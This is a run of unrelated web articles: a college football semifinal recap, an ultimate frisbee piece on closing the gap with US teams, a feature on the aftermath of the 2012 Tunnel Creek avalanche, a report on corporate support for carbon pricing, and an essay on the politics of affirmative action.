• Marian advances to the national championship for the second-straight season and third time in the last four years with a 45-14 win over Mid-States Football Associate (MSFA) Mideast League rival Saint Francis (Ind.).
• Today’s contest was the 11th all-time meeting between the two clubs. Saint Francis won the regular season showdown, 45-42, on Oct. 3.
• With the win, the Knights improve to 13-3 all-time in the FCS and 3-1 in the semifinals.
• Marian blew the game open in the second quarter with 24 points.
• Wide receiver Krishawn Hogan, who is a two-time All-MSFA Mideast League First Team honoree, once again showed why he is one of the most dynamic athletes in NAIA football. The Indianapolis, Ind., native caught a game-high 10 passes for 149 yards and a touchdown, while also running the ball 13 times for 57 yards and five touchdowns. In three FCS games, Hogan owns an unprecedented 14 touchdowns, including 11 on the ground. He also boasts a streak of 10-straight game with 100-or-more receiving yards.
• Marian quarterback Hayden Northern was consistent throughout the contest, completing 21-of-27 passes for 254 yards and a touchdown.
• Saint Francis’ offense was led by quarterback Nick Ferrer, who tallied 347 passing yards – his sixth game this season with 300-or-more passing yards – and two touchdowns.
• Cougar wide receivers Seth Coate and Cameron Smith were Ferrer’s top targets. Coate led the team with nine catches for 122 yards, while Smith had six receptions for 112 yards. Coate accounted for both receiving touchdowns.
• Saint Francis running back Justin Green, who had been nothing short of dominant entering the semifinals, was held in check by the Knights’ defense. He was limited to 49 yards on only 11 carries. Green entered the contest averaging 234 rushing yards per game in the FCS.
• The Cougars, who entered the contest as the NAIA’s only remaining unbeaten team, fall to 23-15 all-time in the FCS. Saint Francis had previously never lost a semifinal game that was played on its home field.
I wrote an article after I returned from the 2012 World Championships about how the UK could go about learning from other nations. Given the dominance of the USA in all competitions in 2013, which only continues the general theme over the last five years, it got me thinking about whether the international community could pick the brains of top US players & coaches. So I reached out with the following question:
“What should other nations do in order to close the gap between them and the USA?”
Lou Burruss:
Grow. There are a lot of short term and team-specific strategies that nations can use, but there is no getting around the fact that the US has a much, much bigger pool of talent.
Jolian Dahl:
I would say the defining factor in the US is youth development — and not purely high school but the explosion of college ultimate in the last 20ish years.
Find out who knows a lot about how to encourage collegiate competition. If other countries develop the college game, they will have a larger group of die hard players who are both willing to pay to play ultimate and make enough money to do so.
Bart Watson:
Other countries need to develop more depth in their top teams. At any given time there are approximately 10 US open teams that are globally elite, giving US teams not only repeated top competition, but a variety of styles to play against at the highest level. Few other countries have more than two top teams, so even if they get to play top-flight competition, they’re only doing it against a particular team and style. I think this makes US teams more adaptable and better prepared for the variety of international competition.
Ben Wiggins:
The problem: Other countries can’t throw and catch.
Obviously, every country has someone that can physically perform each catch and throw needed in the sport. That is one meaning of ‘can’: That it is possible to be done. But in sports, and especially sports with learned skill movements, ‘can’ means something different. It means ‘can perform the action consistently enough to win plays and games’. I literally can throw a forehand 100 yards. But I need about 15 tries to get it to work, so sports-wise this is something that I cannot do consistently enough to win.
I’ve seen this at every level, so it is clearly not an international issue. People watch Dylan [Tunnell] throw a big hammer on Youtube, and they go out and work on their hammer so that they can possibly throw the same 50 yard flat shot to the far corner. But they only complete it 1 out of 4 times. Dylan will hit that over and over and over and might miss 1 out of 10 if there is no defensive pressure. He can. They can’t…even though they can.
Bart is right on about depth. One of the biggest reasons is that much of North American teams’ time on task is practicing against themselves. Throws and catches with strong defensive pressure have to occur in every scrimmage. If the Revolver top 7 drop a couple of discs, the Revolver next 7 probably kills them in that scrimmage. So they get better.
Back in the good old years when my team used to kick the asses of anyone, our O and D team scrimmages were never won by more than a point, and a single player on either side having a bad game typically meant curtains for that side. If your team doesn’t have 24 players that can consistently catch and throw under pressure, then you don’t have the impetus to learn in practice. Heck, if the other team is going to turn it under any kind of pressure at all then your best strategy might rationally be to jack it as deep as possible and play 14 seconds of defense.
And if you have to go to an international championship to get that pressure, then you aren’t going to be as ready as teams that see it every day. No strategy will replace it.
I’ve won some international events, and sometimes, a lot of us are thinking: ‘These games would be closer if the international teams didn’t just hand us a short field every four points or so’.
In 2004, the US boys were down at half in the semis to Finland. Finland called 4 timeouts on the goal line in that game, and dropped or threw away the ensuing possession after every one of those timeouts. US wins, 19-16. Throw and catch under pressure (and, to simplify, I have been completely ignoring marking and tracing and the defensive fundamentals that are equally valuable).
I think Jolian’s point about youth Ultimate is strongly connected in obvious ways to what I am saying.
If you can’t magically grant yourself 10 more great players to scrimmage against, then you need to practice pressure cutting and pressure throwing in whatever way you can. You need to do this past the point of feeling comfortable, past the point of physically enjoying it, and almost definitely past the point of pride; it is way more fun to practice a new play or a new zone D than to run the same or increasing hard running and throwing and catching drills. I know that there are international teams that assume that North American practices are all strategy and highlights and playing and tuning team stuff. They are shocked at how much throwing and catching we do in practice. ‘Why should we practice those? We already CAN’.
Cara Crouch:
My initial response to your question was pretty much what Jolian said regarding lack of college and youth opportunities leading to less of a skill base during prime playing years, which Ben then elaborated on; the correlation is strong in my opinion. A lot of the skill work Ben referred to, that many US players benefit from, is from the thousands upon thousands of throwing reps, drills, and chances to make mistakes in low stakes games that are available to college players. Super athletes that come to the game past college, due to lack of previous playing opportunities in school, are often entering onto club teams with higher stakes tourney and practice play, and are expected to improve at a faster rate because of it to catch up for lost time. Point in reference: One of the best players on Showdown, Shelby Kuni, won an NCAA soccer championship in college and therefore came to Ultimate in her mid 20s. She’s an insane athlete and can complete any throw in practice or drills, but struggled to consistently complete them in games. I imagine that many international players are suffering from a similar fate, minus the NCAA championship ring. Not for lack of trying, but for lack of 4+ years of the chance to simply make mistakes.
Turns out that we (Showdown) too (sometimes) have trouble catching and throwing, stemming (I believe) from fewer and weaker college programs and meager youth opportunities. So this is something I’ve already pondered when trying to help get Showdown into US finals for the past few years. Similar basic problems, different scale.
Regarding how to create more frequent and meaningful competitions among colleges and youth programs that encourage the creation of more college and youth programs, Michelle Ng is doing wonders for US women’s college programs in terms of combining education with competition, check out Without Limits for more details.
What Should Other Teams Take Away from This?
My own thoughts, from the perspective of Great Britain, are that I think that, at our best, we can match all US team’s qualities: athleticism, knowledge, experience etc. The way that we consistently fail is simple throwing skill, and the ability to consistently execute those throws under pressure. I’d like to see a consistent method of throwing that is taught at youth level in the UK. Currently, there are very few people teaching ultimate to children in the UK who are — or have been — players at a high level (there are some exceptions, Matthew Beavan of GB & Chevron is one). In fact, many of the teachers that run ultimate programs approach UK Ultimate to find out about the sport because they have never played before. We have no way currently to teach the art of throwing, either to coaches or players, in a consistent manner. I think this is something that the US and Japan in particular excel at; every year there are a dozen Callahan nominee videos that show off a range of throwing talent that would put those players in the top 10 throwers in the UK, and even relatively weak Japanese teams have exceptional throwing skill. They are clearly taught well, and consistently. I feel this is a key weakness for Great Britain in particular.
All of the US players I have worked with as a coach had a tremendous depth of knowledge, like they’d all gone to the same ultimate frisbee academy. They all knew how to guard handlers in a given situation, how to generate space as a handler, and the precise factors involved in executing deep throws consistently. I think that in Great Britain we do have this knowledge, but it’s all tucked up inside people’s heads; you need to go and talk to the best handlers to find out what they do and why, rather than everyone being educated well on the basics of ultimate. That’s a real development task if we want GB to compete.
For the better club teams, having pressure during every drill is vital to improving. I hear people claiming that they are planning to have a turnover free practice, but I think well designed drills should make this extremely difficult to achieve. Everything should be difficult at practice. As the SAS* say, ‘train hard, fight easy’, i.e. training should be more difficult than the real thing.
Burruss’ Super-Team Idea:
Lou came up with one of the most innovative ideas: Attempt to use the loose USAU regulations and the Canadian immigration laws to bring some top European talent into the USAU championship series.
Canadian super team. The US club scene is the most demanding in the world and playing at this level of competition is essential to personal growth; there’s only so much you can gain from beating The Canberra School for Orphaned Boys 15-0. The idea is to use the looser Canadian immigration laws to put together a team to compete in the US series. While this is probably limited to Commonwealth citizens (and I’m not 100% sure on the immigration law), this would be an option for the GB and Australian players, two of the nations that have a shot at taking down the US.
In summary, according to some of the top US talent, other countries should focus on:
increasing their player base
developing high school & college level ultimate further
achieving greater parity between top teams, rather than relying on one or two super teams
achieving highly consistent throws, rather than relying on occasional brilliance
scrimmages with strong defensive pressure at every practice
drilling with focus & pressure beyond the point of boredom
ensuring individuals get the opportunity to play in low stakes competitive games – possibly outside their club – if they lack experience in higher stakes games
In gaps between the tall trees, the trail looks out over fields of fruit stretching east, the little Bavarian-themed town of Leavenworth to the south, and the snow-etched Cascades to the west. Highway 2 disappears into those mountains—heading for Stevens Pass and, beyond it, the coast.
The new trail intersects with others—Rosy Boa, Lower Rosy Boa—before ending at a T intersection with the Freund Canyon Loop. It’s not long: maybe a 90-minute walk round trip, or a much faster mountain bike ride. It’s called “4 the Boys.”
“The Boys,” in this small, ski-crazy community, is shorthand for three well-known, well-loved local men who were killed in an avalanche at Tunnel Creek, in the Stevens Pass backcountry, on February 19, 2012: Chris Rudolph, 30; Jim Jack, 46; and Johnny Brenan, 41. The men were part of a large group of visitors and local legends who ventured out of the resort gates late on a Sunday morning and were caught up in a massive snowslide.
Avalanches kill an average of 27 people in America every year. This one attracted the attention of the national media. Good Morning America and Today came calling, wanting to speak to the survivors just hours after the slide. Magazines, including Outside and Men’s Journal, published major features on the tragedy. And, most famously, The New York Times spent months producing “Snow Fall,” an ambitious, multimedia feature about the avalanche that would go on to redefine how stories are presented online. Written by John Branch, it won a Pulitzer Prize, spawned hundreds of imitators, and is now taught in journalism schools.
Once the reporters and the cameras moved on, the avalanche survivors, and the families and friends of the men who died, were left to cope with the aftermath. Five years later, they’re finding their own ways to remember and honor their friends—and their own ways through the trauma of that day.
On the morning of February 19, 2012, Anne Hessburg woke up early. It was a powder day, and she wanted to be among the first skiers in line when the chairlifts started turning. She met up with neighbors who lived across the alley from her Leavenworth home, and together they drove the 35 miles northwest to Stevens Pass, the ski resort where Chris Rudolph, her boyfriend of six and a half years, worked as the marketing director.
The pair lived in an old turn-of-the-century house, an 800-square-foot relic of Leavenworth’s early history as a railroad town, and had met as young employees of the resort in the fall of 2004. They were just friends at first, part of a tight-knit crew that hiked, fished, and picked berries in the mountains together, before becoming a couple late in the summer of 2005. That winter, their second on staff at the resort, Rudolph introduced Hessburg to skiing for the first time. She’d grown up in Wenatchee, within easy striking distance of Stevens, Leavenworth’s Ski Hill, and Wenatchee’s own hill, Mission Ridge, but she was one of five kids, and outfitting the family with hiking boots was a lot easier than fitting them all with ski gear.
Rudolph, who’d been on skis since age two, was incredibly patient with her. Soon they were venturing beyond the resort and into the backcountry—they skied Tunnel Creek together several times.
Not this morning. This morning she rode the lifts with her friends. Rudolph had other plans. He’d been up and out the door even earlier than Hessburg, and after an early Sunday meeting at the resort, he met up with 15 other skiers and snowboarders.
Hessburg skied hard all morning and was exhausted by midday. Around the time she and her neighbors were knocking off for an early lunch—pizza at one of the resort’s lodges—Rudolph and his group were just venturing out of bounds. To reach their objective, the fresh powder of Tunnel Creek, they rode up two chairlifts, walked out through the resort gates, and hiked for a final few minutes to the top of Cowboy Mountain. On the front side of Cowboy was the resort, its avalanche risk mitigated by ski patrollers who set off small explosive charges to trigger potential slides. On the back was the Washington wilderness. Tunnel Creek is what’s known in skiing circles as sidecountry—backcountry terrain that’s adjacent to a ski resort and easily accessible.
Joining Rudolph were local skiers and snowboarders, visiting friends, and a few ski-industry VIPs, all on the mountain for both work and play. Elyse Saugstad, a world-class pro skier, was visiting from California. Wenzel Peikert, a part-time ski instructor at the resort, had come up from Seattle. John Stifter, the incoming editor in chief of Powder magazine, was at Stevens to research a story about night skiing. Megan Michelson, then ESPN’s freeskiing editor, was there with her fiance, Dan Abrams. Three of the longtime locals in the group were Jim Jack, the head judge on the Free-skiing World Tour; Tim Wangen, a Lake Wenatchee resident; and Johnny Brenan, a Leavenworth-based building contractor and father of two. Rob Castillo, a longtime friend of Jack and Brenan’s, was another out-of-towner.
All were experienced in backcountry conditions. Each carried with them a beacon that emits a signal that lets other beacon users know where you are, a collapsible probe to search the snow, and a small shovel for digging out buried friends. Saugstad also wore an airbag backpack, an emergency inflatable device intended to help skiers “float” near the surface of an avalanche, giving them a better chance at survival and rescue.
Back at the resort, while Hessburg was eating, rumors were starting to fly of an avalanche on the far side of the mountain. There was a nervous buzz in the lodge. She knew where Rudolph had gone after his meeting, so after lunch she texted him to allay her worries. When he didn’t respond, she called his cell phone—it went straight to voice mail. With her fear growing, she hurried to the ski patrol’s headquarters. The head of the patrol beckoned her into his office, closed the door behind her, and gave her the unthinkable news.
Anne Hessburg, who lost her longtime partner, Chris Rudolph, in the 2012 Tunnel Creek avalanche, still lives in nearby Leavenworth. Image: Kyle Johnson
The details of what happened at Tunnel Creek sharpened over time. Those early rumors became broad facts—who lived, who died—and then were combed over and made more precise by ski patrollers, survivors, and reporters. Even months later, when “Snow Fall” was published, some of the skiers who’d been at Tunnel Creek that day learned things they hadn’t known about their own avalanche.
When they reached the summit of Cowboy Mountain, a few members of the group had peeled off in separate directions. The rest turned their attention to the heaps of fresh snow directly below them. Chris Rudolph launched first, heading straight downhill; Elyse Saugstad imitated his line. The pair paused in a grove of sturdy old-growth trees, a relatively safe spot, about 500 feet down from the summit. One by one, Rob Castillo and Johnny Brenan followed. Castillo paused above two large, close-set trees; Brenan stopped near Rudolph and Saugstad.
Tim Wangen started down the mountain next, but he cut over to skier’s left of the others, into what he knew to be safer terrain. Wenzel Peikert followed him. Jim Jack pointed his skis downhill toward Rudolph and the rest.
That’s when the snowpack on the hillside let go.
In “Snow Fall,” John Branch describes the slide as “a ghostly white fog…a powder cloud two stories high.”
It shed more than 2,500 feet in altitude in a matter of seconds, gaining mass as it went, ripping up trees and rocks along the way and reaching a peak speed of about 70 miles per hour. The New York Times estimated its weight at 11 million pounds.
Peikert and Wangen were just barely out of the avalanche’s path. Castillo, in its path, was able to wedge himself against his two trees and hang on as the snow roared by around him. But Jack, Brenan, Rudolph, and Saugstad were all caught up. Before she was engulfed, Saugstad had just enough time to deploy her airbag backpack.
Megan Michelson, the ESPN editor, was still at the top of Tunnel Creek with the rest of the group, including her fiance, and John Stifter of Powder. In the shocked moments after the slide, they quickly turned their avalanche beacons from signaling mode to search mode and began edging down the mountain, knowing they risked triggering a secondary slide but that they had to hurry nonetheless: They would have only minutes to find their friends buried below. Downhill, Peikert, Wangen, and Castillo also went into search mode and moved gingerly into the slide path. Michelson called 911.
Way down at the valley bottom, two of the skiers who’d peeled away from the group early on, and made it down the mountain without trouble, now spotted a mound of snow and debris. At first, they didn’t realize it was a fresh avalanche—then they saw a ski pole sticking out of it and they too switched their beacons to search mode and started digging. Jim Jack’s battered body emerged from the snow.
Higher up, Elyse Saugstad had come to rest with her head pointing downhill, on her back, her face and hands poking out of the snow but the rest of her firmly buried. Wenzel Peikert found her like that and pulled a small shovel from his pack to dig her out. As Saugstad was freed and climbed to her feet, the other rescuers homed in on two more beacon signals from buried skiers. Peikert and others dug out Johnny Brenan a few feet from where Saugstad had been trapped, and a short ways uphill, Stifter and Abrams hunted for Rudolph. They eventually found him buried more than six feet deep. The skiers took turns attempting to resuscitate the men, but as the minutes ticked away, their hopes faded and a grim reality took hold.
Seattle (1), Stevens Pass (2), and Leavenworth (3).
That night, the media started calling. In the aftermath of the avalanche, Saugstad had gone with Michelson and Abrams to their home in Seattle. Soon news vans were parked out front, and within 18 hours of the avalanche, still in shock and running on almost no sleep, Saugstad found herself appearing on Good Morning America and Today, telling her story of survival to households across the country. It’s still surreal for her to look back on those hours—but she remembers, even in her state of shock, wanting to get ahead of the frenzy and put the group’s story out there in place of any rumors or misunderstandings that might arise.
Michelson, as a journalist, found it strange and hard to be on the opposite end of the tape recorder in those first few days. She has more sympathy now, having been through it herself, for the people she is sometimes obliged to call up and interrogate about the worst hours of their lives. “You know, you’re at a point in your life where you’re trying to process this horrific incident and grieve for the men that we lost,” she says. “And then you’re also trying to deal with all of that media interference.”
Within a few months, Michelson had decided to write about Tunnel Creek herself. Outside had reached out to interview her for a short blurb about what it was like to experience an avalanche, but that felt insufficient. She had already spent hours upon hours thinking through the events of February 19, trying to analyze where and how the group went wrong, so she offered instead to write a longer first-person account of the avalanche, interviewing experts and examining the group’s decision making and the various factors that were at play. The result was “Tunnel Vision,” which was published in November 2012, about a month before “Snow Fall” appeared.
“We’ve honored a lot of people who’ve been victim to avalanches, and their families. Because it doesn’t just kill the person; I think it kills the family members too, to a certain degree.”
“People ask, ‘Was it cathartic to write it?’” Michelson says. “No, it was awful writing it because it was my worst experience in my life, and here I was having to put it down on paper and think about it objectively and then have it be edited and all of that.” Still, she’s glad that she did it—glad to have put something out into the world that could help other people avoid trouble in the future.
The initial nightmares she experienced after the avalanche have faded, but a newfound caution in the mountains remains.
She and Abrams got married that spring and moved from Seattle to the Tahoe area that summer to be closer to family. They have two children now, and the older one, a toddler, is already skiing.
Michelson keeps in touch with Chris Rudolph’s parents, who live nearby, and she occasionally sends new ski jackets from Abrams’s gear company to Laurie Brenan, Johnny’s wife, for their two daughters. She still relives the avalanche, she says, “more than I care to admit.” But she tries to funnel the horror of Tunnel Creek into motivation to build a good life for herself and her family. The loss of her friends, and the realization that she or her fiance could easily have died that day too, makes her current life a gift. “I got to live another day,” she says. “I got to marry my best friend a month after the avalanche. We got to bring two amazing children into the world.” She’s painfully aware that not everyone who was at Tunnel Creek can say the same.
John Stifter also wanted to create something to help other skiers avoid avalanches. Trauma affects everyone differently, and Tunnel Creek hit him hard. For months after the avalanche, he had difficulty sleeping. He felt raw, intensely emotional—the world around him, he says, “felt ominous.” Some of his hair fell out and “Xanax became a good friend.” He didn’t ski again for nearly a year.
Before the avalanche, Stifter, then just 29 years old, had been on the verge of achieving his lifelong dream: He was due to accept the position of editor in chief of Powder in April 2012. He grew up in Spokane and started skiing at age two—Idaho’s Schweitzer Mountain was his home turf. By high school, he was reading Powder and already dreaming of running it himself someday. He interned at the magazine in college, got hired on as full-time staff in 2007, and worked his way up the ranks. He’d been groomed for the top job, and he was supposed to take over within a few weeks. But the slide and its aftermath threatened to derail him.
He took a month or so off to grieve, and to consider his future as a skier and as a ski journalist. In the end he decided to stay on, and he took over as editor in chief on schedule. He’d realized that he was in a position to make a difference with Powder and its audience of devoted skiers. “I could use Powder as kind of a lever of change,” he says, “a mini soapbox to let people know that we made mistakes and [neither] Powder nor any experienced skier is above those mistakes.” He threw himself fully into the job, first launching an online section of the magazine called “The Safe Zone,” a resource for avalanche education. Next he commissioned “The Human Factor,” an ambitious multi-part, multimedia feature that examines how skiers’ decisions—not just snow conditions—play a role in avalanche incidents. The series launched in late 2014 and wound up being a finalist for a National Magazine Award.
It remains the best, most satisfying project Stifter has ever worked on. “I know that we at Powder have saved lives through that story,” he says. “And I think that we’ve honored a lot of people who’ve been victim to avalanches, and their families. Because it doesn’t just kill the person; I think it kills the family members too, to a certain degree.”
Anne Hessburg doesn’t remember much from the first six months or so after the avalanche. It’s a blur, a blank—sometimes, friends will tell her a story from that time, about something they did together or something she said, and she won’t recognize it at all. But she does remember the way her family and the Leavenworth community rallied around her—how someone always seemed to be at the house with her for the first few days and weeks, how people popped by for months afterward with food, or just to check in and see if she was out of bed, if she was showered, if she was managing to sleep.
Now 37 years old, Hessburg still lives in Leavenworth, in a fixer-upper she just bought, and commutes to an environmental consulting firm in Wenatchee. She never considered leaving town after Rudolph’s death, and she never quit skiing, either. The sport, she says, is “a really great way of remembering him.”
She was back out on the mountain that same winter. But after the avalanche, some things have changed. She’s more conservative in her choices, and she spends more time in bounds.
She’s ventured out into the backcountry occasionally—“but not the way that I skied with Chris. I trusted him, I trusted his instincts, I trusted his snow knowledge, and…I don’t know. I just haven’t found that again.”
Once she emerged from the initial shock and haze, the months of insomnia, Hessburg was determined to put her life back together. “Some people get stuck” in their grief, she says. “And I didn’t want to get stuck.”
Her attitude—not trying to move on from the loss of Rudolph, Jack, and Brenan, but to come to terms with their loss and honor their lives—is mirrored in the Leavenworth community around her.
Remembering "The Boys"
Chris Rudolph, 30 (left), and Jim Jack, 46, were two of the three men to die at Tunnel Creek on February 19, 2012. Forty-one-year-old Johnny Brenan is not pictured, out of respect for his family’s wishes. Image: Courtesy Anne Hessburg (Rudolph) and Tiffany Abraham (Jack)
Take a look at the parked cars on the main drag, and you’ll see the ski boxes and bumpers of locals’ rides dotted with memorial stickers: “I Get Rad for Rudolph,” or “Forever in Our Hearts, Forever in Our Mountains.” At a local brewery, there’s a large bell engraved with the men’s names—ring it, and you’re volunteering to buy a round for the whole bar.
In October 2012, eight months after the avalanche, the community held its first fundraiser for the Ski Hill Memorial Project—an ongoing effort to renovate and expand the ancient lodge at Ski Hill in memory of the boys. (The recently completed 4 the Boys mountain bike trail came out of the same initiative.)
“You’ve got to take the good from it,” says longtime Leavenworth resident T. R. Revere. “And I know [Rudolph, Jack, and Brenan] saved a lot of lives from people realizing, if it can happen to the best skiers in the world, it can happen to them.”
Revere is the owner of Uncle Uli’s, a pub in downtown Leavenworth that’s jammed full of vintage ski memorabilia. He grew up with Jim Jack in Lake Wenatchee. They skied together in winter and water-skied in summer, and Jack helped out at Revere’s first restaurant, the Cougar Inn. For 20 years, Uli’s menu has featured the Napkin Slappin’ Jim Jack burger, a grilled chicken breast topped with cheese, peppers, and a spicy tangy sauce, a concoction inspired by an inside joke between the two men.
Revere worked on a ski resort crew with Johnny Brenan in the ’80s and he met Chris Rudolph soon after the younger man arrived at Stevens. When Revere wanted to propose to his girlfriend on the mountain, Rudolph had the proposal printed on every lift ticket issued that day so she’d be sure to see it. That’s the kind of person who leaves a hole in a community when they’re gone.
Every February 19, a group text circulates among some of the skiers from the Tunnel Creek group: Michelson, Stifter, Saugstad, and others. “Thinking of you.” “Sending love.” “Thinking of the boys.” Up at Stevens Pass, the anniversary is marked every year by a Shred for Stevens event—participants spread out across the resort, filling in a checklist of activities before settling down to tell stories about their friends over beers. And back in Leavenworth, anyone who wants to can hike or bike the 4 the Boys trail anytime, dipping into their memories as they go.
Hessburg also has her own private memorial, carried with her everywhere.
It’s a ring she had made by a friend who’s a jeweler. The thick silver band is etched with the outline of Cowboy Ridge. Above the ridge four birds fly: Rudolph, Jack, Brenan, and another friend, Danny, who was killed by an avalanche in 2011. Two curving lines descend the mountain—ski tracks, one for Rudolph and one for Hessburg.
“This is kind of my daily reminder,” she says of the ring. Not that she’s at risk of forgetting.
Anne Hessburg always wears a ring featuring two curving ski tracks, one representing her and one representing Chris Rudolph. Image: Kyle Johnson
“The cliche that I hate the most is that time will heal,” she says. “I think that is such a load of crap. I don’t think that time heals anything, I think that—when someone experiences tragic loss…I don’t think that you ever fully heal from that. I think that it’s a deep wound that you always carry with you. You just learn how to live with it.”
She likens it to building a scab around an unhealed wound, “so that it can’t hurt you every single day.”
For the skiers who were at Tunnel Creek that day, there are lingering questions and regrets that may never heal: What if they had gone out earlier, or later, or not at all? What if they had skied a different line? What if they had talked more, as a group, about the plan and the risks? What if someone had called it off?
People sometimes ask Hessburg if she has regrets too. If she’d somehow known how things would end, would she still have chosen to spend those years with Rudolph? Her answer is easier: Of course. “I am who I am because I had Chris in my life,” she says.
After years of opposition, hundreds of the world’s major companies and investment firms – including several oil giants – have agreed that there should be a charge for the damage done to the planet by greenhouse gases.
This means that an international carbon market – in which companies buy and sell the right to produce harmful emissions – is now close to becoming a reality.
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Even China, the world’s biggest polluter, plans to set up a carbon pricing system next year.
It is hoped that market forces will inevitably drive down the level of greenhouse gases as money flows from companies that produce emissions to those that reduce them, such as renewable energy firms.
Read more The era of climate fatalism is over
Georg Kell, executive director of UN Global Compact, the body’s initiative to get firms to adopt sustainable policies, said the recent conversion of much of the business world was hugely significant.
“This is a breakthrough as usually business blocks climate action on a national level,” he said yesterday. “For the first time, the private sector has argued in favour of pricing externalities. Polluters are making the case to be charged.”
“Externalities” is the word used by economists to describe things that are outside, or not priced by, the free market. For example, the health costs associated with air pollution from car exhausts are currently borne by tax-payers, not by polluters.
“Not pricing pollution and carbon emissions is the biggest market distortion in human history,” Mr Kell said. According to him, China’s decision to introduce carbon pricing would create significant business opportunities. “China is putting in place a national pricing system for carbon next year. This will be the biggest carbon market,” he added.
Speaking on the sidelines of a meeting of senior executives from pension funds, major banks and institutional and sovereign wealth funds in Copenhagen, Ban Ki-moon, the UN Secretary General, stressed the importance of a global system.
“The United Nations cannot do it alone. No country can do it alone. We have to combine our resources and ambitions, particularly together with business communities,” he said. And carbon pricing, he stressed, was “one of the most powerful tools available for reducing emissions and generating sustainable development and growth”. “The Global Compact has helped generate a major shift in corporate mindset in just one decade,” Mr Ban added.
So far, 74 countries, including the EU, China and Russia, but not the US, Canada, Japan or Australia, and 1,000 businesses – from oil firms BP and Statoil to giant corporations such as Coca-Cola, Nestlé and Unilever – have signed up to a UN declaration in support of carbon pricing.
And a group of 354 major institutional investors, such as BlackRock, the BT Pension Scheme, the Rockefeller Brothers Fund and Rothschild & Cie Gestion, have also agreed to call on governments to “provide stable, reliable and economically meaningful carbon pricing that helps redirect investment commensurate with the scale of the climate change challenge”. Collectively, they handle about £15trn in assets – more than the United States’ GDP.
The EU currently runs the world’s biggest carbon-trading scheme, which means there are limits on about 45 per cent of total emissions from the 28 member states, plus Iceland, Liechtenstein and Norway. More than 11,000 power stations and manufacturing plants and most flights are covered. Under the system, companies that emit greenhouse gases can buy credits from “emission-saving projects around the world”. They can be fined if they fail to get enough allowances to cover their emissions.
However, it has been criticised for failing to produce significant results, partly because the price set for emitting a ton of carbon, which is supposed to reflect the damage to the environment, was too low. It remains to be seen whether the Chinese scheme will be more rigorous.
In the early 1990s, the future of policies aimed at assisting racial minorities seemed bleak indeed. In 1989, the Supreme Court invalidated an affirmative-action plan for government contracts in Richmond, Virginia, holding that such programs at the state and local level must be subject to "strict scrutiny" -- the same level of skeptical assessment applied to laws or decisions that had historically disadvantaged racial minorities. That same year, the Court issued decisions that neutered the concept of "disparate impact" as a form of racial discrimination under Title VII of the Civil Rights Act of 1964. Disparate impact required employers not only to desist from intentionally excluding racial-minority applicants because of their race but also to avoid race-neutral screening criteria that had the same effect, unless the criteria could be justified by "business necessity" or shown to be related to job performance. In 1990, when Congress repudiated the Court's regressive interpretation of Title VII, President George H.W. Bush vetoed the legislation, calling it a "quota bill."
The Civil Rights Act of 1991 passed eventually, but not before Bush put a new impediment in the way of affirmative action. He nominated Clarence Thomas, a vehement enemy of affirmative action, to replace Thurgood Marshall on the Supreme Court. This was a momentous shift that would be tantamount to Antonin Scalia being replaced by, say, liberal legal scholar Laurence Tribe. Thomas -- a black man who famously overcame racism and impoverishment as a youngster -- added extra timbre to the Court's anti-affirmative-action chorus, despite the fact that he was himself a beneficiary of the policy, both at Yale Law School and in the Ronald Reagan and George H.W. Bush administrations.
Conservatives charged that affirmative action amounts to "reverse racism"; discriminates against "innocent whites"; stigmatizes its putative beneficiaries; erodes the incentives that prompt individuals to put forth their best efforts; lowers standards; produces inefficiencies; goes to those racial minorities who need it least; and generates racial resentments. This indictment and the backlash it rationalized resonated not only with Republicans but also with Democrats, some of whom shared the conservatives' philosophical objections to the policy, while others worried simply that supporting it meant electoral suicide.
Writing in these pages in 1990, sociologist William Julius Wilson asserted that "the movement for racial equality needs a new political strategy ... that appeals to a broader coalition." Eschewing affirmative action (though he has subsequently changed his mind), Wilson championed redistributive reforms through "race-neutral policies," contending that they could help the Democratic Party regain lost political support while simultaneously benefiting those further down within minority groups. Similarly, in 1992 Prospect founding co-editor Paul Starr lamented that affirmative action "has taken a big political toll," alienating working-class whites, increasing political support for the right, and making it harder to enact "the kind of positive legislation that would especially benefit low- to middle-income Americans of all races."
One key Democrat attracted to this critique is Barack Obama. Writing in The Audacity of Hope, he did not expressly condemn affirmative action, but he did consign it to a category of exhausted programs that "dissect[s] Americans into 'us' and 'them'" and that "can't serve as the basis for the kinds of sustained, broad-based political coalitions needed to transform America." As president, Obama has repeatedly eschewed race-targeting (with respect most notably to employment policy) in favor of "universal" reforms that allegedly lift all boats.
Over the years, affirmative action has been truncated by judicial rulings and banned by voters in some states. In one guise or another, however, special efforts to assist marginalized racial minorities remain a major force in many schools and firms, foundations, and governments. Affirmative action survived principally because many rightly believe what President Bill Clinton declared on July 19, 1995, in what is (thus far) the only presidential address wholly devoted to the subject: "Affirmative action has been good for America." Clinton argued that ongoing injuries of past racial wrongs require redress; that affirmative action can usefully serve to prevent new invidious discrimination that is difficult, if not impossible, to reach through litigation; that the adverse consequences of affirmative action on whites are often grossly exaggerated and can easily be minimized; and that better learning and decision-making arise in environments that are racially diverse.
The amorphous and malleable idea of "diversity" provided much needed buoyancy to affirmative action, especially in the 2003 University of Michigan affirmative-action cases when 65 major companies, including American Express, Coca Cola, and Microsoft, asserted that maintaining racial diversity in institutions of higher education is vital to their efforts to hire and maintain a diverse workforce. A group of former high-ranking officers and civilian leaders of the military concurred, declaring that "a highly qualified, racially diverse officer corps ... is essential to the military's ability to fulfill its principal mission to provide national security." Even Theodore Olson, the Bush administration's solicitor general, took pains to defer to "diversity" in a brief on the case.
The rise of the diversity rationale for affirmative action has not been costless, but it has ensured that appreciable numbers of racial minorities are in strategic positions, while dampening certain side effects that attend any regime of racial selectivity. Unlike affirmative action based on grounds of compensatory justice, the diversity rationale is non-accusatory. It doesn't depend on an assumption of culpability for some past or present wrong, and it minimizes the anger ignited when whites are accused of being beneficiaries of racial privilege. Everyone can be a part of diversity.
Many are drawn to the diversity rationale because it frames affirmative action not as special aid for designated groups but as a way of producing better services and products. Businesspeople love to say that "diversity is good for the bottom line." Many of them would be ideologically allergic to a business practice based solely on notions of justice or altruism but comfortable supporting a program that can be seen as reinforcing the principal mission of their enterprises.
